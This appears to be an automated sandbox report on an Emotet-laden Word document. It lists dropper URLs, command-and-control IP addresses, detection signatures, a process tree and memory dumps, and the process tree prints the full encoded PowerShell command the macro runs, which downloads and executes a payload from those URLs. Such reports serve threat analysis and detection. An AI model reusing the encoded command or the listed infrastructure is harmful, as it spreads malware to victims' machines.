Overview

overview

10

Static

static

8

BAL_1BL0DV...DX.doc

windows7_x64

10

BAL_1BL0DV...DX.doc

windows10_x64

10

Analysis

  • max time kernel
    147s
  • max time network
    109s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    10/08/2020, 13:42

Sharing

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General

  • Target
    BAL_1BL0DVNFBIWKDX.doc
  • Size 174KB
  • Sample200810-2fd2v2ea2n
  • SHA256 edcc83eab42c8192a4daa83887285b3884aacec4e95a3f6a17e6b2e3ff40213e
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://laijie88.com/v7ql/6ru_8itd_e6n4mer/
  • exe.dropper

    https://sososothemes.com/scbsn/s_ud_hlqsv5mhub/
  • exe.dropper

    http://rebeltraiteur.com/kqcij/x0uw_3_sd58cj6xl/
  • exe.dropper

    http://chicagoyachtguru.com/site/v3cu_1p9f_0s6a/
  • exe.dropper

    http://safariilab.com/old-safariilab/9_k1_jgw/

Extracted

Family

  • emotet

C2

  • 74.120.55.163:80

  • 176.10.250.88:8080

  • 96.8.113.4:8080

  • 137.59.187.107:8080

  • 74.208.45.104:8080

  • 104.131.11.150:443

  • 110.145.77.103:80

  • 87.106.136.232:8080

  • 114.146.222.200:80

  • 37.187.72.193:8080

  • 181.230.116.163:80

  • 70.167.215.250:8080

  • 103.86.49.11:8080

  • 201.173.217.124:443

  • 109.74.5.95:8080

  • 95.213.236.64:8080

  • 5.39.91.110:7080

  • 78.24.219.147:8080

  • 81.2.235.111:8080

  • 183.101.175.193:80

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_1BL0DVNFBIWKDX.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1620
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABCAFcASgBKAEUAdABhAGcAPQAnAEQATwBIAFgARwBnAGoAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAHIAYABJAHQAWQBgAFAAUgBPAFQAbwBgAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgBEAFIARwBNAG0AeAB0ACAAPQAgACcAOQA2ADcAJwA7ACQASABSAFgAWQBCAHUAdgBiAD0AJwBXAFAAUQBDAE4AdwBvAHUAJwA7ACQAWABLAFEAQwBTAGMAYQBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABGAEQAUgBHAE0AbQB4AHQAKwAnAC4AZQB4AGUAJwA7ACQATgBHAFgAQgBNAG0AdwBkAD0AJwBIAFcATABYAEsAbQBsAGwAJwA7ACQATgBPAFIAVwBYAHgAeQBqAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBiAGMAbABpAEUATgBUADsAJABKAEsAQQBaAFUAeABhAGUAPQAnAGgAdAB0AHAAOgAvAC8AbABhAGkAagBpAGUAOAA4AC4AYwBvAG0ALwB2ADcAcQBsAC8ANgByAHUAXwA4AGkAdABkAF8AZQA2AG4ANABtAGUAcgAvACoAaAB0AHQAcABzADoALwAvAHMAbwBzAG8AcwBvAHQAaABlAG0AZQBzAC4AYwBvAG0ALwBzAGMAYgBzAG4ALwBzAF8AdQBkAF8AaABsAHEAcwB2ADUAbQBoAHUAYgAvACoAaAB0AHQAcAA6AC8ALwByAGUAYgBlAGwAdAByAGEAaQB0AGUAdQByAC4AYwBvAG0ALwBrAHEAYwBpAGoALwB4ADAAdQB3AF8AMwBfAHMAZAA1ADgAYwBqADYAeABsAC8AKgBoAHQAdABwADoALwAvAGMAaABpAGMAYQBnAG8AeQBhAGMAaAB0AGcAdQByAHUALgBjAG8AbQAvAHMAaQB0AGUALwB2ADMAYwB1AF8AMQBwADkAZgBfADAAcwA2AGEALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGYAYQByAGkAaQBsAGEAYgAuAGMAbwBtAC8AbwBsAGQALQBzAGEAZgBhAHIAaQBpAGwAYQBiAC8AOQBfAGsAMQBfAGoAZwB3AC8AJwAuACIAUwBgAFAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABEAFgASABQAEoAcwByAGoAPQAnAE4ATQBUAEIAUwBtAGYAbgAnADsAZgBvAHIAZQBhAGMAaAAoACQARABCAEMAWgBIAHQAcAByACAAaQBuACAAJABKAEsAQQBaAFUAeABhAGUAKQB7AHQAcgB5AHsAJABOAE8AUgBXAFgAeAB5AGoALgAiAGQAYABvAHcAbgBMAG8AQQBEAEYAYABpAEwARQAiACgAJABEAEIAQwBaAEgAdABwAHIALAAgACQAWABLAFEAQwBTAGMAYQBzACkAOwAkAE8ARwBGAEsAQwB4AHoAbgA9ACcAWQBaAEUARABRAGMAcQBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWABLAFEAQwBTAGMAYQBzACkALgAiAGwAZQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA3ADAAOAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBlAEEAVABFACIAKAAkAFgASwBRAEMAUwBjAGEAcwApADsAJABZAFgARQBKAEMAbQBqAHIAPQAnAEYARABZAFIAWAB1AHgAZgAnADsAYgByAGUAYQBrADsAJABUAFYASgBQAFYAbwB0AGsAPQAnAEoAVgBSAEsASQBxAGoAcAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAFcAQwBZAFMAZwB4AGkAPQAnAFoASABHAEoAVAB4AHEAcgAnAA==
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    PID:1392
  • C:\Users\Admin\967.exe
    C:\Users\Admin\967.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:2004
    • C:\Windows\SysWOW64\wavemsp\pmcsnap.exe
      "C:\Windows\SysWOW64\wavemsp\pmcsnap.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:2044

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1392-16-0x000000001C350000-0x000000001C351000-memory.dmp
        Download

        memory/1392-9-0x000007FEEEF40000-0x000007FEEF92C000-memory.dmp
        Download

        memory/1392-10-0x0000000002480000-0x0000000002481000-memory.dmp
        Download

        memory/1392-11-0x000000001ABF0000-0x000000001ABF1000-memory.dmp
        Download

        memory/1392-12-0x00000000024C0000-0x00000000024C1000-memory.dmp
        Download

        memory/1392-13-0x0000000002670000-0x0000000002671000-memory.dmp
        Download

        memory/1392-14-0x000000001C280000-0x000000001C281000-memory.dmp
        Download

        memory/1456-25-0x000007FEE5980000-0x000007FEE5BFA000-memory.dmp
        Download

        memory/1620-15-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1620-2-0x0000000008900000-0x0000000008904000-memory.dmp
        Download

        memory/1620-6-0x000000000BD80000-0x000000000BD84000-memory.dmp
        Download

        memory/1620-5-0x000000000AD00000-0x000000000AD04000-memory.dmp
        Download

        memory/1620-4-0x0000000006E00000-0x0000000007000000-memory.dmp
        Download

        memory/2004-20-0x00000000004E0000-0x00000000004EC000-memory.dmp
        Download

        memory/2044-23-0x0000000000503000-0x0000000000504000-memory.dmp
        Download

        memory/2044-24-0x0000000000360000-0x000000000036C000-memory.dmp
        Download